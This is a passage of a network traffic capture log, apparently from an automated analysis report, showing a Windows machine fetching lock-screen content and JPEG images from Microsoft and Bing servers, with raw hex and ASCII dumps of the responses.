t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p= Cache-Control: no-cache MS-CV: HSk4YAAtPEyazUeO.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 23:15:44 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 22945 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: u6PgEIUj5BqITmTUO1M7uSR0nzUzoVnRuG7cFDi0rFns3VR3NKQnp9SOlxTcoCBrLXfizim2EEzNRXdHjGYv80qGOn+cCSWkOmM7uU/dtO3OPAV7aCIeE0CnZXsqpba4MUDvwlHDvQSaEgcc7Mh28Eq9WKVdvokEkXPm4uvn5i42I3GwRxLATEbFp2gMpC4p5f9TgByUjU0vji+2u7zYKgFeH367kyjb3d61A3SEksISp3z6Mv3tojACI0+uRspD84ie6IOR+3uMA1H//px0Bk0fvOh7u29+Npz+0cRUM7BCk70Jb6wPBeug86W8sCUeFsUslx19oLL9aYVe3yRvGg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 23:15:43 GMT Connection: close
2024-12-06 23:15:44 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-12-06 23:15:44 UTC	7376	IN	Data Raw: 79 6f 43 6c 4a 61 73 46 38 4f 6c 49 4e 54 6d 4c 36 6f 32 4a 5a 77 4f 41 53 6d 54 58 49 48 5c 5c 75 30 30 32 42 55 35 6b 39 6c 4f 75 52 72 6f 73 3d 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 39 32 30 2c 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 74 73 65 31 2e 6d 6d 2e 62 69 6e 67 2e 6e 65 74 5c 2f 74 68 3f 69 64 3d 4f 41 44 44 32 2e 31 30 32 33 39 33 36 30 34 39 32 35 37 35 5f 31 53 53 4a 38 32 4c 36 43 42 33 4b 38 36 4f 48 4a 5c 5c 75 30 30 32 36 70 69 64 3d 32 31 2e 32 5c 5c 75 30 30 32 36 63 3d 31 36 5c 5c 75 30 30 32 36 72 6f 69 6c 3d 30 5c 5c 75 30 30 32 36 72 6f 69 74 3d 30 5c 5c 75 30 30 32 36 72 6f 69 72 3d 31 5c 5c 75 30 30 32 36 72 6f 69 62 3d 31 5c 5c 75 30 30 32 36 77 3d 31 39 32 30 5c 5c 75 30 30 32 36 68 3d 31 30 38 30 Data Ascii: yoClJasF8OlINTmL6o2JZwOASmTXIH\\u002BU5k9lOuRros=\",\"width\":1920,\"image\":\"https:\/\/tse1.mm.bing.net\/th?id=OADD2.10239360492575_1SSJ82L6CB3K86OHJ\\u0026pid=21.2\\u0026c=16\\u0026roil=0\\u0026roit=0\\u0026roir=1\\u0026roib=1\\u0026w=1920\\u0026h=1080

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49818	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:43 UTC	346	OUT	GET /th?id=OADD2.10239381017118_14OTD3KROFLZNBXSD&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 23:15:44 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 384844 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3CCFCEAAC9C647218E7BD26AEFFC493F Ref B: EWR30EDGE0306 Ref C: 2024-12-06T23:15:44Z Date: Fri, 06 Dec 2024 23:15:44 GMT Connection: close
2024-12-06 23:15:44 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC8"}!1AQa"q2
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: fc 87 18 c5 44 d8 e2 9d 92 1b 1e 9c e7 de 9d c5 d4 77 03 1c 71 e9 eb 4d c8 2b fc a8 c8 c7 23 be 7f fa d4 d1 8d dd 39 c7 1e f4 5c 1a b8 ec f2 c3 f5 a3 20 2f 2b d7 ad 34 10 38 ce 7f cf 5a 0f 62 7b f6 a0 9b 0e 6e 72 48 ef eb 42 9c 60 03 f4 a6 86 c7 4e 9f 5e b4 74 e9 d7 1d 07 f9 fa d3 26 c4 8b cf 20 ff 00 f5 e9 09 cf de 1d 0f f9 c5 21 3c e4 9e df 9d 19 e7 24 f6 e7 da 98 d8 ed dd fd 29 33 d8 ed 3e de b4 8c 49 c6 3a 7a d2 64 85 e7 ff 00 d7 55 72 18 ee 77 1e 3b 75 ff 00 3f e7 8a 56 ce de 7b 75 a6 0e 38 c3 13 dc fa d2 e7 ba 8f af 34 5c 07 13 93 8c f1 c5 37 3d d7 8f eb 4d c8 ec 3a 76 f5 a1 b2 38 cf 27 a7 bd 09 89 a0 c8 0c 41 19 fa d0 09 23 0d c8 ed fe 7d 69 a7 3d 7f 4f 5a 07 2a 3a 03 d8 e7 ad 51 16 02 79 ce 39 e8 31 46 41 5e 38 c7 f9 e6 9b 91 83 f9 52 1e 76 81 f4 Data Ascii: DwqM+#9\ /+48Zb{nrHB`N^t& !<$)3>I:zdUrw;u?V{u84\7=M:v8'A#}i=OZ*:Qy91FA^8Rv
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 8c 7d 6a 3c 90 40 a5 c9 e3 b7 bd 01 61 e7 a7 e9 41 3c 67 35 18 3d f1 c7 b9 eb 4b 9f c7 3d 68 b8 ec 3b 20 b7 6e 29 33 fe 73 49 b8 e7 9f a5 23 1e c7 f5 a2 e2 b0 ee 09 eb c6 3a 52 72 3e bd a9 32 4f 4f ce 90 9f d2 8b 8c 32 47 43 46 ee 30 a6 91 b0 3a f4 ed c7 f2 a6 f2 0f 3f e7 d2 8b 93 61 f9 25 4f 14 b9 18 e3 a0 ed 9a 61 ff 00 f5 9a 33 ed 49 8e c3 b3 f3 75 fc 29 07 07 9a 6e 72 bd 33 eb 4a a4 8e f9 c5 3b 85 87 a9 e7 d4 fa d1 c7 19 a6 67 3d 3b f3 43 73 81 fd 29 5c 2c 3c 76 38 c6 29 39 19 39 ef d6 9b 90 17 ff 00 af 47 20 11 45 c2 c2 e7 3d 7a f5 a4 e4 13 83 f9 d2 31 19 ce 7a f6 c5 26 7b 7e 94 ee 16 15 9b 03 14 84 f6 03 b5 26 49 52 33 df a5 35 8e 7a f0 7d 33 45 c5 61 d1 9f af 3d 0d 04 f3 8f e7 de 9a dc 8f 6e a3 ff 00 ad 49 d8 9c d1 71 8e 6c e0 f3 49 db f9 7b 53 73 Data Ascii: }j<@aA<g5=K=h; n)3sI#:Rr>2OO2GCF0:?a%Oa3Iu)nr3J;g=;Cs)\,<v8)99G E=z1z&{~&IR35z}3Ea=nIqlI{Ss
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: e7 56 8c a0 b5 e6 d7 ef 46 d9 72 aa f0 98 97 3d 6c b4 7f 29 5c 87 4d d5 ac ae bc 41 3e 82 d0 4a 97 91 22 c9 bd 9b 68 da 7a 30 1d c1 f5 1e 95 0e 83 7b 26 a5 6b 24 92 5b f9 6d 1c ef 08 40 ad 92 55 b1 c8 3d fa 1f c6 b1 be 20 11 63 15 a7 89 91 dd 3f b1 d8 fd a3 cb 4d cc f0 31 c3 64 7a 06 c3 7e 75 37 8d 2e 2e 75 cd 33 4a d3 bc 11 a9 45 6d 77 aa 30 9f 51 bc 8c 97 f2 93 00 ee 88 f4 e7 18 3d c7 4a f4 25 8c 96 1b 15 28 56 97 bb 2d 63 fa a7 e8 cf 0a 38 08 e2 30 b1 ab 46 3b 69 2d f7 5d bb dd 1d 0b 06 0d 87 52 a7 dc 63 14 de 7b 7a f0 2a ae af a8 c1 61 32 c5 7f 7c d2 dd 48 06 d0 c0 e5 cf 4e 33 c2 82 7f 9d 4c 86 f5 22 11 6a 3a 71 b5 b8 45 cb 37 3b 64 cf a7 af 1d fd 6b ba 9e 2e 8d 46 a3 19 26 df 6d 4e 3a d9 7e 22 8c 39 ea 41 a8 f9 e8 3c 37 1e bf d6 93 77 bf ff 00 5e 9a Data Ascii: VFr=l)\MA>J"hz0{&k$[m@U= c?M1dz~u7..u3JEmw0Q=J%(V-c80F;i-]Rc{z*a2\|HN3L"j:qE7;dk.F&mN:~"9A<7w^
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 2f be 23 f8 bb c3 31 ac 9a ce 95 25 d5 a0 1f eb 62 f9 c8 1f 5e b5 d1 cd 28 bf 79 68 65 1b 34 ac f5 3d 36 40 ea d8 20 8a d4 f0 7f 88 f5 0f 0f df bb c7 9b 9b 39 80 06 db ba f3 d4 7f 85 79 8f 87 7e 32 78 4b 5c 0b 1f db 56 19 58 63 64 e3 61 06 ba ab 3d 66 d2 6b eb 44 b7 90 34 93 4c aa 83 3d 79 f5 ae 6c 65 3a 55 a8 4b 9f 65 a9 dd 81 95 45 5e 31 8f 5d 3e 47 a0 6a 17 92 68 1e 27 4d 5d 11 53 4f be 61 e7 40 83 9c 9e f8 ac 7f 1c 6a 56 9a be b6 f7 56 6c 02 05 c0 46 e1 8f d2 8f 1a 5e a3 49 05 9b ee 53 17 ef 25 42 72 41 f6 3f 4a b5 af e8 ba 2d bf 83 ed f5 3b 1b bf 3a 77 65 f9 73 9e 0f 6c 76 35 e0 65 34 55 0e 5a d5 66 f9 a7 7b 23 d3 cc 26 ea 39 53 84 74 8e ec e6 b7 02 40 cd 1d 7a 7e 46 91 89 27 3d f3 c9 a4 59 11 7e 69 64 11 c7 dd 8f 61 5f 4d 73 c6 51 1d c7 27 d3 f5 a6 Data Ascii: /#1%b^(yhe4=6@ 9y~2xK\VXcda=fkD4L=yle:UKeE^1]>Gjh'M]SOa@jVVlF^IS%BrA?J-;:weslv5e4UZf{#&9St@z~F'=Y~ida_MsQ'
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: f3 24 79 e5 46 09 2d df ff 00 d7 ef 4b 0f 97 0b 63 cb 78 c2 f2 0e 3f a7 4c f1 db d2 b0 91 b4 74 3a 0b 70 6e 36 84 5f 2f 1f 28 db 9e 0e 3a 62 ac e9 73 c3 15 e7 95 2c ad 6f ce 4a a6 0b 4a 73 d1 54 7c c0 7e 55 9d 60 62 6b 7d b3 4a b1 29 5f be cd b7 70 cf 5e 79 14 ff 00 35 f4 a9 fc cb 49 6c 64 f9 48 2e d2 f9 b2 28 f4 08 83 92 7b 96 39 e2 b1 36 67 6f 6a e8 85 5c 2f 97 e6 0c 32 36 59 89 eb b8 f3 d7 d4 74 15 71 59 9d 51 e3 95 0b 3f 11 c4 ed c3 1e e5 b1 d8 0f f0 ae 47 4a d6 5e e5 56 19 0b 24 5b 7e 6c 10 85 fd b6 75 03 dc fe b5 af 0b b7 cc 5e 18 2d e5 6f 94 49 b0 b2 85 fe ea 82 7a fa 92 39 26 b0 69 a7 a8 9b 42 ea 56 7a 6c ec b7 f6 97 6d 24 e9 c1 9d 9b 30 c6 7a 10 00 c0 20 f4 e3 24 63 ad 50 b8 b6 bf b9 8e 20 f1 d8 5a 4c a9 fb e8 ac 7c e9 16 55 5f e3 49 24 2a 7d f1 Data Ascii: $yF-Kcx?Lt:pn6_/(:bs,oJJsT\|~U`bk}J)_p^y5IldH.({96goj\/26YtqYQ?GJ^V$[~lu^-oIz9&iBVzlm$0z $cP ZL\|U_I$*}
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 70 c7 af e5 de 9f f8 f3 ec 7f 4a 60 38 c6 3b f6 a5 04 73 cf 4a 2e 2b 0f 5c 9e 9d 3d 8d 1e d9 a6 f5 c6 47 d7 9e 94 e0 41 3d 33 cf 51 4e e1 61 dc ff 00 f5 e9 54 7c bc f3 9e 7e b4 cc 1e ff 00 e7 e9 4e f5 e6 9d c7 61 73 de 92 60 cc 98 46 c3 76 c8 f6 a1 78 c1 3f a7 f2 a3 b6 4f e1 40 cc 2d 4a 1d 42 37 12 0d ac b5 36 9b 79 dd 98 30 3d 41 ed 5a ac 51 a3 2a cb b8 1e c7 bd 61 eb 16 6d 67 21 ba 80 6e 46 ea 2a 52 b3 b9 d3 4e 6a 6b 95 9d 0d bc 8b 26 dc 7f 17 6c d7 47 62 d0 79 2a 02 f3 8f 98 81 5e 43 71 e2 c8 b4 f9 37 0c 32 f4 1f 36 3f 21 5d 0f 87 3c 60 6e ed 77 2b 00 1b a0 cf eb 58 57 8c a7 6b 1d 78 78 42 09 f3 1d 4e a7 b0 4a c5 07 7e 39 aa a3 8e 08 e3 de ab c1 75 e7 2e 49 fb c3 b9 eb 53 71 d4 8f 6c 8f f3 c5 6d 0d 15 99 c9 3a 53 72 ba 8b 2b ea 51 33 29 70 7e ee 33 c7 Data Ascii: pJ`8;sJ.+\=GA=3QNaT\|~Nas`Fvx?O@-JB76y0=AZQamg!nFRNjk&lGby*^Cq726?!]<`nw+XWkxxBNJ~9u.ISqlm:Sr+Q3)p~3
2024-12-06 23:15:44 UTC	16067	IN	Data Raw: b7 cc f5 e9 5c d6 a5 e2 bb 8b a9 8c 76 c8 c3 3c 6f 23 f9 7a d6 ed 9f 84 ed 92 20 24 1b b3 ea 6a dd 9e 81 6f 04 b9 5b 7e 73 d7 1d 6b 58 d4 91 d5 46 39 55 0d 5e a6 06 89 e1 3b bd 65 fc eb e9 5d d5 c6 76 1c a8 5f ad 76 7a 47 83 f4 cd 3e 35 c4 4a 48 eb 85 fe 9d ab 43 4d 76 b6 88 05 8c 7e 55 3c b7 33 3f 7d bd b8 a3 9d df 63 a2 ae 75 81 8a b4 57 e0 3e 2b 78 23 8c 22 42 88 bf 4e 69 d2 3a 46 b8 0c 38 e9 eb 55 be 63 8c bb 1f c6 91 82 f5 c6 2a 1d d9 e6 d5 e2 05 ff 00 2e a9 8a ce 9d 15 58 d5 4b cb 66 99 5b 6e 06 47 7a b5 8c 74 e7 1c 50 79 39 3c d4 f2 a3 ce ad 9c e3 2a fd ab 2f 23 9c be d3 24 8d b7 14 dd e8 47 ff 00 5a a9 b2 91 c1 76 18 eb 9e 57 e9 8a eb f1 cf ad 56 ba b1 b6 9b 24 a6 d6 f5 5a 7a 21 52 cd 2a 2d 2a 6a 8c 6d 26 ea 18 1b 0c 8a 79 ad 88 2f e1 97 00 37 27 Data Ascii: \v<o#z $jo[~skXF9U^;e]v_vzG>5JHCMv~U<3?}cuW>+x#"BNi:F8Uc.XKf[nGztPy9</#$GZvWV$Zz!R-jm&y/7'
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 72 f4 c6 7f 2a f7 a8 e1 a9 d3 d8 f1 71 18 99 cf 4b e8 22 a0 1c 63 38 23 9f 7f 43 4e 09 83 fc 3e bf 4a 5c 1c 60 0f 7a 55 5c a1 2b db f5 ae 97 a1 c5 61 bb 78 3c 50 c3 3c 7f 4e b5 2e dc fe 1f ad 1b 73 83 db e9 52 d8 ac 42 cb 9c b0 cd 21 1f 37 23 3f e7 f9 54 ac 31 ce 29 92 28 cf 3d 7d 68 b8 31 9c e7 24 f1 42 82 7b 74 a3 fc ff 00 fa c5 2f 41 8e 9e f4 89 03 82 36 e6 90 e7 18 fc e8 6f af 5a 51 c7 5f c0 54 80 de 3a e3 eb ed 47 ad 04 9f e5 8f 6a d2 d2 f4 fb 6b ab 39 de 6d 43 c8 b8 8d 49 8e 06 84 fe f7 03 38 0c 4e 33 ed d7 9a 4d db 72 92 6f 44 66 90 7a 8e 3d 3d a8 ce 3a 9c e2 93 b6 47 ff 00 aa 97 db 1c d0 c9 0e 30 46 3d f9 ef 49 c9 18 cf 5f f3 8a 31 9a 0f 7c d2 00 fa 8e 7a 7f 91 4a a3 2a 3f ce 69 7e be 94 00 00 00 9e f4 80 4c 03 4b cf 7e dd 28 5e 9f 8f 63 47 4f 70 Data Ascii: rqK"c8#CN>J\`zU\+ax<P<N.sRB!7#?T1)(=}h1$B{t/A6oZQ_T:Gjk9mCI8N3MroDfz==:G0F=I_1\|zJ?i~LK~(^cGOp
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: e6 98 71 d0 9e dc 53 fa b6 71 8f e9 4c 6e 71 ce 3d 7f fa d5 40 31 b3 b3 00 e2 9a c7 a9 3b b3 8a 71 1c e7 1d 78 a6 f3 c8 ef 8f d7 d6 98 ac 23 74 20 7a 53 1b 21 7a 53 cf 3d 3f fd 54 c6 18 fe 74 08 ee 21 78 63 19 66 27 6f 3c 7f 8d 73 3a e6 80 35 af 10 47 71 07 32 44 db 8b 0e d5 ab 68 24 91 5f 2d f8 55 9d 02 51 05 c3 19 47 43 c9 ff 00 3d ab e5 31 18 f8 38 b8 53 47 d4 d1 c2 49 4b 9a 6c 83 54 d1 47 f6 5b 13 ba 39 4a fd e4 e1 5b eb 5c e7 84 e1 7b 0b e9 16 46 6d a0 e4 2e 6b d3 96 fa d2 7b 3f 2d f6 85 6e dc 73 f5 ac 3b 8d 23 4d ba be 21 0a a4 9f ca bc ea 55 27 4a 57 47 65 6a 31 ab 0e 56 53 9a e2 1d be 66 ed dc 57 3d 37 88 d2 3d 4b ec d9 20 9e e7 a5 6b f8 92 18 f4 b1 89 2e 63 3e c3 a0 1e ff 00 e7 bd 70 fe 2e f1 16 90 b6 bf bb 9a 39 25 56 c9 d8 dc fd 2b d4 a3 8d 9d Data Ascii: qSqLnq=@1;qx#t zS!zS=?Tt!xcf'o<s:5Gq2Dh$_-UQGC=18SGIKlTG[9J[\{Fm.k{?-ns;#M!U'JWGej1VSfW=7=K k.c>p.9%V+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49819	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:43 UTC	346	OUT	GET /th?id=OADD2.10239381017117_1ROIJVZPQMMXB3DRW&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 23:15:44 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 474620 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 38A400467D8B48449931C891C95FB9E1 Ref B: EWR30EDGE1412 Ref C: 2024-12-06T23:15:44Z Date: Fri, 06 Dec 2024 23:15:43 GMT Connection: close
2024-12-06 23:15:44 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC8"}!1AQa"q2
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 4f 53 f8 7f 9e 68 c8 27 90 3f 0a 6e 41 5c 13 d7 d3 fc f5 a7 72 0e 48 19 cf 38 ed 54 02 e4 81 9e 46 4f 7a 50 4e 46 3b 8e bf e7 bf 5a 6e 41 07 9c 7d 47 4a 37 72 73 e9 d3 34 00 ee d8 1d 8f e7 46 70 38 1d f8 c7 f9 e9 4d 24 90 09 ee 3b 0e 94 aa 33 dc 11 d3 fc fa 50 02 ee e3 24 8e 4f e7 fe 34 bd 72 08 f9 bb e7 fc f1 4c 52 37 63 3f 5c d3 b0 7a 67 ef 0e 07 ad 31 21 cb c1 c0 23 db dc 52 a7 2d c9 ef da 98 01 e8 0e 7a f3 ea 69 73 8e b9 5c 9e 39 ff 00 3c d0 21 54 8c 72 79 ff 00 3f 90 a7 0c 9e 54 81 81 df b5 34 93 b7 23 f4 a7 60 0e 72 c7 8e 28 b8 0b 92 73 91 df a9 1d e9 54 e4 63 23 e5 1d 7d 7f c2 9a 00 03 00 1e 98 ff 00 f5 d3 94 70 31 b7 a5 17 13 05 3e b8 fe b5 20 c9 19 20 7e 74 dc 64 e7 18 e7 90 3b d2 8c 81 d3 83 fa d3 01 fc 1e 46 3f 2a 70 00 f3 fd df 7a 6a 8c f4 19 Data Ascii: OSh'?nA\rH8TFOzPNF;ZnA}GJ7rs4Fp8M$;3P$O4rLR7c?\zg1!#R-zis\9<!Try?T4#`r(sTc#}p1> ~td;F?*pzj
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: f6 5a bf 5d ce fb f6 72 b2 93 57 59 27 9c 29 31 b0 c0 23 83 cf 7a fa 0b c1 1a c2 e9 1a fa db b8 55 8a 43 b0 67 b7 1d fd 6b cf ff 00 64 bf 0f 4a fa 4c cc 23 6f 91 0a a4 9b 78 6f 6f 73 d7 f1 ad ef 13 24 f6 9a 84 8a c4 fe ed c9 4c 8f f3 e9 d3 b5 70 62 e5 2a 78 88 cf b5 8e ac a9 47 11 85 a9 1e ed af f2 3d ea 27 59 22 53 eb fa 7f 8d 2e 48 ea 7e e8 eb e9 fe 35 cb fc 2f d7 17 54 d1 51 5e 45 f3 63 18 61 bb ae 3d 45 74 fd 3e 60 1b 9f 5e ff 00 4f 6a f7 e9 cd 4e 2a 4b a9 e1 4e 2e 32 71 7b a2 40 72 57 af 5f 5e 9f 4a 0b 12 72 00 e4 f1 cf 5f f3 d6 9a b8 18 03 f8 7b 7a 7f 85 38 6e db cf dd 27 f3 ab 10 ec 82 30 47 3e be a6 80 70 3a f6 e0 e6 9b d4 82 0e 0f a1 fe 87 bd 1d b6 e3 18 1c e2 98 ac 48 33 db 8e 99 a0 e4 ae 49 e3 db bd 35 00 c6 00 3e dc ff 00 9e 29 d9 03 80 79 c7 Data Ascii: Z]rWY')1#zUCgkdJL#oxoos$LpbxG='Y"S.H~5/TQ^Eca=Et>`^OjNKN.2q{@rW_^Jr_{z8n'0G>p:H3I5>)y
